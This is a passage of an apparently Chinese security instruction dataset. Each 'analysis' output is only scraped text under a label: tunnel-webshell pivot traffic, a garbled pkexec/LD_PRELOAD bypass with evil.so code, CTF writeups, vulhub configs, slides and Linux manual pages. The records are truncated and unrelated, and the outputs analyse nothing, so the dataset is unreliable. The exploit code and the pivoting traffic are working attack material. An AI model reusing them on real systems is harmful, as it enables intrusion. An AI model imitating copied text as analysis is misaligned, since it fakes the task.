然后打开wireshark追踪tcp流看流量 ```yml ...............P.........PGET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK Date: Thu, 17 Dec 2020 16:39:09 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.25 Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/ Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/; httponly Set-Cookie: security=impossible; httponly Vary: Accept-Encoding Content-Length: 1567 Content-Type: text/html;charset=utf-8 ``` serverA 在serverA上抓包第一个流可以看到服务器A作为跳板表明服务器与哪台内网主机的哪个端口连接cmd=connecttarget=172.17.0.2 目标内网ipport=80 端口为80 ```yml POST http://182.x.x.x:8080/tunnel.jsp? cmd=connect&target=172.17.0.2&port=80 HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity Content-Length: 0 X-CMD: CONNECT X-PORT: 80 X-TARGET: 172.17.0.2 User-Agent: python-urllib3/1.26.2 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly X-STATUS: OK Content-Type: text/html Content-Length: 0 Date: Thu, 17 Dec 2020 16:44:45 GMT ``` 下一条流cmd=read,代表是去访问内网的内容 Accept-Encoding: identity请求的HTTP头通告其内容编码只要没有被明确禁止 服务器就不能发回406 Not Acceptable错误 响应包头Transfer-Encoding: chunked代表", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nversion: '2' services: web: image: vulhub/v2board:1.6.1 ports: - \"8080:80\" depends_on: - db - redis entrypoint: - bash - /entrypoint.sh volumes: - ./entrypoint.sh:/entrypoint.sh command: apache2-foreground db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=v2board redis: image: redis:7-alpine", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Writeup Tokyo Westerns CTF 2017 Team: c7f.m0d3, shalom, akrasuski1, nazywam, psrok1, cr019283, msm ### Table of contents * [My simple cipher (crypto)](crypto_simple) * [Freshen uploader (web)](web_uploader) * [Baby RSA (crypto)](crypto_rsa) * [Private Local Comment (ppc)](ppc_plc) * [Baby DLP (crypto)](crypto_dlp) * [Baby Pinhole (crypto)](crypto_pinhole)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nZoomEye(钟馗之眼) 网络空间搜索引擎 项目简介及技术架构 张弘引(小雨) 2013- 08 我和我的小伙伴们 春哥 Java 达人 张波 Django WebUI pnig0s 小P 小 Powerful pw 小 纯洁 小雨 猥琐 大叔 目录 ZoomEye是什么 ZoomEye的诞生原因 ZoomEye的对象 ZoomEye的使用方法 ZoomEye的优势 ZoomEye的技术细节 ZoomEye的未来展望 ZoomEye是什么 它是一个搜索引擎 搜索对象是网络空间中的WEB服务组件 和网络设备 基于我们长期积累的安全研究能力 为白帽子黑客和极客服务的 兼顾宏观和微观 ZoomEye长什么样 What is ZoomEye 搜索引擎 针对WEB应用 宏观 安全 目录 ZoomEye是什么 ZoomEye的诞生原因 ZoomEye的对象 ZoomEye的使用方法 ZoomEye的优势 ZoomEye的技术细节 ZoomEye的未来展望 目录 ZoomEye是什么 ZoomEye的诞生原因 ZoomEye的对象 ZoomEye的使用方法 ZoomEye的优势 ZoomEye的技术细节 ZoomEye的未来展望 ZoomEye的对象 Web服务组件 基于域名 可识别的网络设备 基于IP地址 尚未开放 WEB服务组件 可识别网络设备 交换机 路由器 摄像头 手机 平板电脑 工控设备 核工业设备 目录 ZoomEye是什么 ZoomEye的诞生原因 ZoomEye的对象 ZoomEye的使用方法 ZoomEye的优势 ZoomEye的技术细节 ZoomEye的未来展望 ZoomEye的使用方法 搜应用/版本 搜国家/城市 搜网站标题 搜网站域名,如 site:*.baidu.com 特殊词语如 hacked by 搜行业关键字银行大学人 民政府 搜网络设备如 GoAhead-Webs ZoomEye的使用方法(2) ZoomEye的使用方法(3) ZoomEye的使用方法(4) ZoomEye的使用方法(5) ZoomEye的使用方法(6) ZoomEye的使用方法(7) http://www.myhack58.com/Article/htm l/3/8/2013/39616.htm 关于ZoomEye的 一个入侵小例子 http://www.freebuf.com/articles/web/1 0918.html 如何用ZoomEye钟馗之眼 批量获得站点权限 目录 ZoomEye是什么 ZoomEye的诞生原因 ZoomEye的对象 ZoomEye的使用方法 ZoomEye的优势 ZoomEye的技术细节 ZoomEye的未来展望 ZoomEye的优势 更专业 更全面 更高效 目录 ZoomEye是什么 ZoomEye的诞生原因 ZoomEye的对象 ZoomEye的使用方法 ZoomEye的优势 ZoomEye的技术细节 ZoomEye的未来展望 ZoomEye的技术细节 ZoomEye的整体架构 ZoomEye的调度逻辑 ZoomEye的Wmap应用指纹识别 一些技术上的Tips分享 ZoomEye的整体架构 架构图 ZoomEye的调度逻辑 调度逻辑 取最久未调度过的站点列表 通过接口向Job Server下发探测任务 Worker从Job Server领取任务执行 轮询接口取结果 写入完成的任务 纪录失败的任务 对失败的任务进行有限的重试 Wmap应用指纹识别 如何识别码农来着 如何识别Web应用 以nginx和php为例 HTTP/1.1 200 OK Server: nginx/1.4.2 Date: Sun, 18 Aug 2013 10:33:12 GMT Content-Type: text/html Connection: keep-alive X-Powered-By: PHP/5.5.2 如何识别多种应用 不同层次的应用有不同的策略 符合标准格式的未知指纹直接收录 收集多种应用的指纹逐个匹配 如何识别得更快 1. 先判断域名的合法性及是否存活 2. 特定文件的md5值比如favicon.ico 3. 用压缩的传输提高传输速度 4. 尽量减少请求次数和请求的大小 5. 减少进行规则比较的次数 6. 结果缓存一个月 误报和漏报 Tips 针对新增的应用指纹特征进行单一规则的 增补识别调度 周期进行站点的存活判断 Fuzz常见的子域名子目录来发现更多应用 Elasticsearch tips 1. Ja", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTelerik.Web.UI for ASP.NET AJAX某版本存在 任意文件下载漏洞: 在做渗透测试任务时,遇到一个ASP.NET站点.通过目录扫描发现存在 Telerik.Web.UI.WebResource.axd 路径此路径是第三方控件 Telerik UI FOR ASP.NET 在 web.config 中映射的 handler 查阅历史相关漏洞后主要有以下 CVE 2014-2217 CVE-2017-11317 CVE-2017-11357 CVE-2017-9248 CVE-2019-18935 上面这几个已知漏洞基本都是围绕默认 key 实现序列化配置类上传恶意文件,后者是前 者禁用 ../ 后的绕过存储路径以及类型都是由反序列化内容后进行解密而来 key 的 配置一般都在web.config文件中 而该系统类似于一个信息管理系统,在没有可登录账号的情况下很难挖掘一些未授权 漏洞因此,打算从 Telerik 入手挖掘其他未知漏洞 在下载对应的 Telerik.WEB.UI.dll 后,进行审计 常见的 handler 配置都是将 Telerik.Web.UI.WebResource.axd 路径的请求交给 Telerik.Web.UI 程序集下的 WebResource 类进行处理 切入 WebResource ,根据ASP.NET的方法执行顺序,该类会先执行 ProcessRequest 方法 public override void ProcessRequest(HttpContext context) { HandlerRouter handlerRouter = new HandlerRouter(); if (!handlerRouter.ProcessHandler(context)) { CombinedScriptWriter.WriteCombinedScriptFile(this, context); } } 先实例化了 HandlerRouter 类后调用 ProcessHandler 方法如果不满足if条件,则会进 入 WriteCombinedScriptFile 方法 ProcessHandler 中会先调用 ExtractKey 方法,从请求中获取参数的值 public bool ProcessHandler(HttpContext context) { string text = this.ExtractKey(context); return !string.IsNullOrEmpty(text) && this.ProcessHandler(text, context); } // Token: 0x0600362D RID: 13869 RVA: 0x000B2223 File Offset: 0x000B0423 private string ExtractKey(HttpContext context) { return context.Request[HandlerRouter.HandlerUrlKey]; } HandlerUrlKey 成员的内容为 type internal static string HandlerUrlKey { get { return \"type\"; } } 先从请求中获取变量 type 的值,不为空则进入 ProcessHandler 的重载方法,根据传入 type 内容进行分发 public bool ProcessHandler(string handlerKey, HttpContext context) { if (string.IsNullOrEmpty(handlerKey)) { throw new ArgumentNullException(\"handlerKey\"); } this.PopulateHandlers(); if (this._handlers.ContainsKey(handlerKey)) { this._handlers[handlerKey]().ProcessRequest(context); return true; } return false; } _handlers 在 PopulateHandlers 方法中被定义. protected virtual void PopulateHandlers() { this.Handlers.Add(RadBinaryImage.Ha", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\njoin === 两个文件中指定栏位内容相同的行连接起来 ## 补充说明 **join命令** 用来将两个文件中制定栏位内容相同的行连接起来找出两个文件中指定栏位内容相同的行并加以合并再输出到标准输出设备 ### 语法 ```shell join(选项)(参数) ``` ### 选项 ```shell -a<1或2>除了显示原来的输出内容之外还显示指令文件中没有相同栏位的行 -e<字符串>若[文件1]与[文件2]中找不到指定的栏位则在输出中填入选项中的字符串 -i或--ignore-case比较栏位内容时忽略大小写的差异 -o<格式>按照指定的格式来显示结果 -t<字符>使用栏位的分割字符 -v<1或2>更-a相同但是只显示文件中没有相同栏位的行 -1<栏位>连接[文件1]指定的栏位 -2<栏位>连接[文件2]指定的栏位 ``` ### 参数 * 文件1要进行合并操作的第1个文件参数 * 文件2要进行合并操作的第2个文件参数 ### 常见用法 把两个文件制定栏位内容相同的行连接起来 ```shell [root@localhost ~]# cat name 1 xiaoming 2 xiaowang 3 xiaoliu [root@localhost ~]# cat city 1 beijing beijing 2 hubei wuhan 3 hunan changsha # city文件在后则拼接在后如果city文件在前则name文件拼接在后 [root@localhost ~]# join name city 1 xiaoming beijing beijing 2 xiaowang hubei wuhan 3 xiaoliu hunan changsha ``` 把两个文件指定列拼接起来 ```shell # 把name文件的第2列和city文件的第3列拼接起来 [root@localhost ~]# join -o 1.2 2.3 name city xiaoming beijing xiaowang wuhan xiaoliu changsha ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npkexec 0x00 CVE-2021-4034pkexec CVE-2021-4034 GCONV_PATH bypass hids LD_PRELOAD LD_PRELOADGCONV_PATH 0x01 pkexec swing 1. 2. 3. so 4. RCE pkexec 638 701clearenv 638701 g_printerrGCONV_PATH clearenvLD_PRELOAD pkexec clear execvLD_PRELOAD 0x02 disable functionputenv execdisable functionputenvLD_PRELOADpkexec pkexec putenvputenvLD_PRELOAD freebufsendmailLD_PRELOADdisable_functions 1. putenvLD_PRELOAD 2. mail 3. mailLD_PRELOAD 4. getuidhook sendmail 1. putenvLD_PRELOAD 2. __attribute__ ((__constructor__)) so 3. mailsendmailloadso load LD_PRELOAD load evil.so #define _GNU_SOURCE #include #include #include __attribute__ ((__constructor__)) void preloadme (void) { unsetenv(\"LD_PRELOAD\"); const char* cmdline = \"whoami\"; system(cmdline); } exec_env.c #include #include #include #include int main(){ char *argv[]={\"ls\",\"-al\",\"/etc/passwd\",NULL}; char *envp[]={\"PATH=/bin\",NULL}; putenv(\"LD_PRELOAD=/tmp/test/evil.so\"); execve(\"/bin/ls\",argv,envp); } gcc -shared -fPIC evil.c -o evil.so gcc exec_env.c ./a.out sowhoamistrace straceLDevil.soexecve execve(\"/bin/ls\", [\"ls\", \"-al\", \"/etc/passwd\"], 0x7fff9c625150 /* 1 var */) = 0 1 varc execvedemo #include #include #include #include int main(){ extern char **environ; // char *argv[]={\"ls\",\"-al\",\"/etc/passwd\",NULL}; char *envp[]={\"PATH=/bin\",NULL}; char result_buf[256]; FILE *fp; putenv(\"LD_PRELOAD=/tmp/test/evil.so\"); execve(\"/bin/ls\",argv,environ); } whoami strace environpkexecexecvexecve #include #include #include #include int main(){ char *argv[]={\"ls\",\"-al\",\"/etc/passwd\",NULL}; putenv(\"LD_PRELOAD=/tmp/test/evil.so\"); execv(\"/bin/ls\",\"-al\",NULL); } execve #include #include #include #include int main(){ char *argv[]={\"ls\",\"-al\",\"/etc/passwd\",NULL}; putenv(\"LD_PRELOAD=/tmp/test/evil.so\"); execv(\"/bin/not_exist\",argv); } ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n企业安全技术体系建设与实践 关于我 胡珀 lake2 2007年加入腾讯安全平台部 腾讯T4安全专家目前负责应用运维安全 Web漏洞扫描器恶意网址检测系统主机安全Agent建设和运营 安全事件响应渗透测试安全培训安全评估安全规范 腾讯安全应急响应中心TSRC与威胁情报奖励计划 移动安全 & 智能设备安全 关于腾讯 互联网之王囊括几乎所有的互联网业务模式安全上是巨大挑战 安全的三个阶段 救火队 -> 全面保障业务发展 -> 业务的核心竞争力 安全生命周期SDL 谷歌基础设施安全 学习谷歌先进经验 DDoS攻击防护 全国分布式防护 近源清洗 与云堤合作/终端预研中 最大防护流量 600+Gbps 常见DDoS攻击 10000+ 次攻击每月 响应时间小于10s For 腾讯云大禹/知道创宇 Anti-APT生产环境安全 缩小攻击面高危端口管控 划区治理按业务隔离 纵深防御入侵行为全过程检测 基线模型异常检测UEBA 终端防御主机安全Agent 网络防御流量分析 Anti-APT办公环境安全 缩小攻击面HTTP代理上网 划区治理按网隔离 终端防御PC/Mobile Agent 基线模型异常检测 网络防御流量分析 不要忘了BYOD和办公WiFi 数据安全 安全漏洞收敛终端漏洞 支持PCWin/MacMobileiOS/Android 静态 + 动态 安全漏洞收敛服务端漏洞 自研爬虫 插件式 7*24h 红蓝军对抗 模拟黑客从攻击者视角对业务进行渗透检验安全防护能力 数据分析 漏洞奖励计划 众包众测发现漏洞检验安全防护能力 AI应用与对抗", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 2 What's the big deal about Docker/AppCanyways? We've had containers for 20 years. What new things are they bringing to the table aka how are they different from LXC and traditional containers? What these new container formats, which leverage existing technologies introduce is that they ease not just the ability to run applications in isolation but more importantly they vastly ease the build and ship parts of the equation as well. They take the ease of use of application deployment that Chef/Puppet etc to the next level while simultaneously reducing complexity at the same time. The value of this shift cannot be overstated. This value is added by wrapping the container in a metadata layer (actually multiple layers but thats another story) that describes the configuration of the container and its contents. As a result of this wrapping, are no longer just about security but are now also to all intents and purposes another packaging format with all of the benefits and downsides that come with said systems. Where this gets particularly exciting however is that this isnt limited to an individual executable being deployed but can be entire application stacks. This goes well beyond a traditional package stating what its dependencies are and enabled one stop shipping of an entire application in one fell swoop. This creates benefits for everyone from dev to qa to production regardless of the underlying development frameworks being used. It also addressed many of the problems traditionally faced by organizations trying to leverage multi-cloud or multi-cloud-account 3 application architectures. Of course, its not all rainbows and unicorns, using tools like containers does introduce their own sets of security considerations, none of which are insurmountable, but nonetheless need taking into consideration. So what are the general issues that containers introduce? Unsurprisingly, these are mostly they are a lot of the same issues that virtualization and cloud introduced over the", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# pikachu-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶场项目地址** - https://github.com/zhuifengshaonianhanlu/pikachu **知识点** - [Burte Force](#burte_force) - [基于表单的暴力破解](#基于表单的暴力破解) - [验证码绕过(on server)](#验证码绕过(on_server)) - [验证码绕过(on client)](#验证码绕过(on_client)) - [token防爆破?](#token防爆破?) - [XSS](#xss) - [反射型 xss(get)](#反射型xss(get)) - [反射性 xss(post)](#反射性xss(post)) - [存储型 xss](#存储型xss) - [DOM 型 xss](#dom型xss) - [DOM 型 xss-x](#dom型xss-x) - [xss 之盲打](#xss之盲打) - [xss 之过滤](#xss之过滤) - [xss 之 htmlspecialchars](#xss之htmlspecialchars) - [xss 之 href 输出](#xss之href输出) - [xss 之 js 输出](#xss之js输出) - [CSRF](#csrf) - [CSRF(get)](#csrf(get)) - [CSRF(POST)](#csrf(post)) - [CSRF Token](#csrf_token) - [Sql Inject](#sql_inject) - [数字型注入(post)](#数字型注入(post)) - [字符型注入(get)](#字符型注入(get)) - [搜索型注入](#搜索型注入) - [xx 型注入](#xx型注入) - [\"insert/update\" 注入](#\"insert/update\"注入) - [\"delete\" 注入](#\"delete\"注入) - [\"http header\" 注入](#\"http_header\"注入) - [盲注(base on boolian)](#盲注(base_on_boolian)) - [盲注(base on time)](#盲注(base_on_time)) - [宽字节注入](#宽字节注入) - [RCE](#rce) - [exec \"ping\"](#exec_\"ping\") - [exec \"eval\"](#exec_\"eval\") - [File Inclusion](#file_inclusion) - [本地文件包含](#本地文件包含) - [远程文件包含](#远程文件包含) - [Unsafe Filedownload](#unsafe_filedownload) - [Unsafe Fileupload](#unsafe_fileupload) - [client check](#client_check) - [MIME type](#mime_type) - [getimagesize](#getimagesize) - [Over Permission](#over_permission) - [水平越权](#水平越权) - [垂直越权](#垂直越权) - [../../ 目录遍历](#目录遍历) - [敏感信息泄露](#敏感信息泄露) - [PHP 反序列化](#php反序列化) - [XXE](#xxe) - [URL 重定向](#url重定向) - [SSRF](#ssrf) - [SSRF(curl)](#ssrf(curl)) - [SSRF(file_get_content)](#ssrf(file_get_content)) **实验环境** `环境仅供参考` - phpstudy :http://phpstudy.php.cn/ - Microsoft Windows 10 企业版 LTSC - 10.0.17763 - VMware Workstation 15 Pro - 15.0.0 build-10134415 - kali 4.19.0-kali3-amd64 - pikachu - Commits on Feb 9, 2019 --- ## 前言 优秀的 web 基础靶场,与 dvwa 相比 dvwa 更适合教学,pikachu 漏洞种类更多,建议通关顺序 dvwa --> pikachu --- ## 搭建/使用 **windows** 1. 把下载下来的 pikachu 文件夹放到 w", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2012 The MITRE Corpora2on. All rights reserved. No More Hooks: Trustworthy Detec2on of Code Integrity AGacks Xeno Kovah, Corey Kallenberg, Chris Weathers, Amy Herzog, MaGhew Albin, John BuGerworth 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware Dear everyone: This system is Infected! 2 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware I don't like you. You are annoying. 3 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware I don't like you. You are annoying. *scribble* *scribble* *scribble* 4 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware Dear everyone: This system is A-OK! 5 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware That's what I'm talkin' 'bout (Bruce) Willis! 6 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware Checkmate *scan* *scan* *scan* Security SoPware is compromised! 7 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware Checkmate You are similarly annoying! *scribble* *scribble* *scribble* 8 2012 The MITRE Corporation. All rights reserved. Security SoPware is OK. Security SoPware Malicious SoPware Checkmate *scan* *scan* *scan* Don't believe me! I'm compromised! 9 2012 The MITRE Corporation. All rights reserved. Security SoPware Malicious SoPware Checkmate Are you kidding me? F*&@ self- checking tricorder This is ridiculous! *scribble* *scribble* *scribble* 10 2012 The MITRE Corporation. All rights reserved. Security SoPware is OK. Security SoPware Malicious SoPware Checkmate IamOK 11 2012 The MITRE Corporation. All rights reserved. Timing-Based AGesta2on (aka SoPware-Based AGesta2on) Based on concept of Pioneer by Seshadri et al. Assump2ons You can know the client hardware profile Your self-check is the most op2mized implementa2on Implemented from scratch, independently confirmed previous results. S", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nscriptreplay === 重新播放终端会话的所有操作 ## 补充说明 **scriptreplay** 用于在终端中根据 `script` 命令记录的终端数据文件和时间日志文件重现当时用户的所有操作和命令的输出信息简而言之重现播放当时终端会话发生的一切信息而不是重新运行一遍命令例如用户当时在输入某条命令时字符的键入和删除也都会被重现非常适合用于教程演示场合而且在机器 A 上面使用 `script` 命令记录终端操作可以在机器 B 上面使用 `scriptreplay` 命令重新播放 ### 语法 ```shell scriptreplay [options] [-t] timingfile [typescript [divisor]] ``` ### 选项 ```shell -t, --timing file # 记录时间日志的文件名称 -s, --typescript file # 记录终端数据信息的日志文件名称 -d, --divisor number # 表示倍速播放把时间日志文件记录的时间间隔都除以 number # -d 2 表示播放速度是原始输入单条命令的速度的两倍-d 0.1 表示播放单条命令的速度减慢 10 倍 -m, --maxdelay number # 表示命令之间的最大延迟时间单位是秒 # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒则按两秒执行播放 -V, --version # 显示版本信息并退出 -h, --help # 显示帮助文本并退出 ``` ### 参数 * 时间日志文件存储时间日志信息的文件名称 * 终端数据文件存储终端数据信息的文件名称 ### 实例 ```shell # 重新播放终端内容默认第一个参数是时间日志第二个参数是终端数据文件 scriptreplay time.file command.log # 重新播放终端内容播放快进速度为 1 命令之间最大延时为 2 秒 scriptreplay -d 1 -m 2 -t time.file -s command.log ``` **记录终端内容到文件** ```shell zfb@localhost:~$ script -t 2>time.file -a -f command.log Script started, file is command.log zfb@localhost:~$ echo \"hello, world\" hello, world zfb@localhost:~$ echo $(date \"+%Y-%m-%d %H:%M:%S\") 2020-12-23 20:48:46 zfb@localhost:~$ echo \"Bye\" Bye zfb@localhost:~$ ls -al total 20 drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. -rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt -rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt -rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log -rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file zfb@localhost:~$ exit Script done, file is command.log zfb@localhost:~$ ``` **重新播放终端内容** ```shell zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log zfb@localhost:~$ echo \"hello, world\" hello, world zfb@localhost:~$ echo $(date \"+%Y-%m-%d %H:%M:%S\") 2020-12-23 20:48:46 zfb@localhost:~$ echo \"Bye\" Bye zfb@localhost:~$ ls -al total 20 drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. -rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt -rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt -rw-r--r--", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## sharpturn (forensics, 400p, 110 solves) > I think my SATA controller is dying. > > sharpturn.tar.xz-46753a684d909244e7d916cfb5271a95 ### PL Version `for ENG version scroll down` Dostajemy zip z czymś co może być tylko zawartością folderu `.git`. Wypakowywujemy więc sobie z niego dane (zrobiliśmy to za pomocą pythona, import zlib i zlib.decompress, ale po zastanowieniu w sumie wystarczyłby pewnie git checkout ;) ). Po chwili zauważamy że coś się nie zgadza - hash pliku sharp.cpp jest inny niż powinien. Patrzymy więc na rewizje po kolei - [rewizja pierwsza](sharp_v1_efda_efda) ma dobry hash. [Rewizja druga](sharp_v2_354e_8675)... już nie. Napisaliśmy więc [sprytny skrypt w pythonie](flipuj.py), flipujący losowe bity (domyślamy się że o to chodzi, skoro w treści zadania jest coś o umierającym kontrolerze SATA) i próbujący odkryć te które sie nie zgadzają. W ten sposób dochodzimy do [poprawnej wersji rewizji drugiej](sharp_v2_354e_354e). Niestety hash [rewizji trzeciej](sharp_v3_d961_7564) również się nie zgadza, ale poprawiamy i jego naszym bitflipperem i mamy [poprawną rewizję trzecią](sharp_v3_d961_7564). I to samo robimy przy czwartej - [plik ze złym hashem](sharp_v4_f8d0_8096) zamieniamy na [plik z dobrym hashem](sharp_v4_f8d0_f8d0). W tym momencie mamy wszystko czego potrzebujemy - faktoryzujemy sobie jeszcze liczbę jak wymaga program, i idziemy: Part1: Enter flag: flag Part2: Input 31337: 31337 Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194 ok Part4: C.R.E.A.M. Get da _____: money Part5: Input the two prime factors of the number 272031727027. 31357 8675311 flag{3b532e0a187006879d262141e16fa5f05f2e6752} (Warto zauważyć poczucie humoru autorów zadania, gdzie \"enter flag\" wymaga podania dosłownie \"flag\"). Flaga którą otrzymujemy jest przyjmowana przez system, więc jesteśmy kolejne 400 punktów do przodu. ### ENG Version We get a zip file with something that can only be the contents of `.git` directory. We extract the data (we did this with python, ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypassing)Android) Password)Manager)Apps) Without)Root Stephan)Huber,)Siegfried)Rasthofer,)Steven)Arzt Fraunhofer SIT 2 Stephan Mobile)Security)Researcher)at) Fraunhofer)SIT Enjoys teaching)students)in) Android)(app))hacking Twitter:)@teamsik Siegfried Head)of Secure)Software) Engineering)at)Fraunhofer)SIT Founder of CodeInspect Web:)www.rasthofer.info Twitter:)@teamsik Acknowledgements Benedikt)Hiemenz Daniel)Hitzel Daniel)Magin Joseph)Varghese Julien)Hachenberger Max)Kolhagen Michael)Tröger Philipp)Roskosch Wittmann)Andreas 3 4 Wish 5 aim=e1Ioci Ohyoh>wae0 kei7Gae$si bei3coo
  • ai eGah+K5iuM yae$V4leex ohjiu_Hei6 fee'Cho5Oo jahK3Ad+ai oH)eewaec0 KiG&ee4ahy ujohj%ie1J wae,Gei6mu uSh=i2ahng ainai]Le2i Ieb~o5fohF ohN\\ah1gae Dooch\\ei7i ich]a're1U aiToh5cee= eiZ2thaip; ni\"W3oom?i oi(Sh7vie) gu}i8Tohco il@ah@ve9U cie\"tae8Eo Au&S3aigae eir0ieHo)c ohch/ah6Ii Bie*t9xie\" ukieTh6fu[ ie*vieZai9 ohwu(v0eeY ua&ghi7aeR em?ohG?oi3 phu$Lah4p ieX&i2shei aiZie%l7Oo ood8Pen phie9Ib(ie beiMei[r7a Nagh(aid0U AhTee:tah5 oY\"a5pheib ohthe1Na.e eria9Ahn>u eid8Ohso!o Uv4ia6Gu`o Aeli1li$i& Tothai8ph Euso6eu$ja vie8Ieh?ai leec4aeZ/o Eele+ph2na yai=b!a5Oo Wefoh&m4oh Vo-oX9ka0v ei9eenuNih2oPh noo7Ish'ie Uaz6she|Zu oo0aiP*ee2 coh=Puo1Ve roo9Kee-th ra@c3Ce7sh mabi6Malo[ auw1Eu\\kie eiVoo,Kuu5 aiW\\oo5phu Oos_abir7U Reality 6 Note Password-Manager Password-Recycling Browser) Password-Manager 7 App GooglePlay Downloads Keeper 10) 50 m Keepsafe 10) 50)m 1Password 1 5)m Dashlane 1) 5)m Lastpass 1) 5)m Avast 0.5) 1)m MyPasswords 0.5) 1)m F-Secure 100) 500 k PasswordManger 50 100)k Security)Requirements 8 Confidentiality Availability Integrity 9 Premium)features)for)free Resetting)master)password)with)ease Breaking)C.I.A Lost)device)scenario Mitm a", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Big Picture: Digital Cinema Technology and Security Mike Renlund Digital Cinema Specialist Film: How its always been done 35mm film is the standard, more than a mile of it for one movie. IMAX film is 10 times larger than 35mm. The image hasnt been upgraded much in the more than a century that movies have been playing. The only real upgrade was from Black and White, to Color. Film Sound and Image DTS Timecode Analog Dolby SRD Sony SDDS Distribution/Security of Film Prints 70 lbs (32 kg) cans with the film inside. Security measures include: Codenames for content Separate shipments Physical locks on the cans DLP technology First designed in 1987 By Dr. Larry Hornbeck at Texas Instruments. It took a long time to make a splash in the Movie market. The first major release in digital cinema was in 2005. The DLP Chip So how tiny are these mirrors? Even closer! Creating an image (greyscale) DMD Chip Lens Screen And finally, what it really looks like Red DMD Green DMD Blue DMD Lens Light Pipe Prism A couple different DLP projectors Sony SXRD Silicon Xtal Reflective Display Resolution Digital Cinema Distribution Multiple methods of delivery Hard Drive Network Transfer Satellite Interesting facts about content Security in Digital Cinema Step 1: 1. Content is served out from a storage point, to the Media Block 2. The content is encrypted. Content Storage Raid Array Media Block(Decoder) Internal to the same box, or two separate devices The Show Player decodes the video/audio with the KDM, the audio is passed to the audio processor. The video is reencrypted with Cinelink II, and sent to the projector. Media Block(Decoder) Up to 16 channels of uncompressed audio Audio Processor Projector Dual Link HDSDI Running Cinelink II Ethernet Cryptography Section Projector Media Block(Decoder) Sha1 256 key Secure connection to the Media Block No open access panels Sha1 256 key Correct Date Range Correct content No tampering detected Any of these fail, and you ca", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ninfo === Linux下info格式的帮助指令 ## 补充说明 **info命令** 是Linux下info格式的帮助指令 就内容来说info页面比man page编写得要更好更容易理解也更友好但man page使用起来确实要更容易得多一个man page只有一页而info页面几乎总是将它们的内容组织成多个区段称为节点每个区段也可能包含子区段称为子节点理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航还要学习如何在节点和子节点之间切换可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西真是具有讽刺意味原本以为对于新手来说某个东西比man命令会更好些但实际上学习和使用起来更困难 ### 语法 ```shell info(选项)(参数) ``` ### 选项 ```shell -d添加包含info格式帮助文档的目录 -f指定要读取的info格式的帮助文档 -n指定首先访问的info帮助文件的节点 -o输出被选择的节点内容到指定文件 ``` ### 参数 帮助主题指定需要获得帮助的主题可以是指令函数以及配置文件 ### 实例 在info后面输入命令的名称就可以查看该命令的info帮助文档了 ```shell info info ``` 面介绍一下它的几个常用快捷键 ```shell **?键** 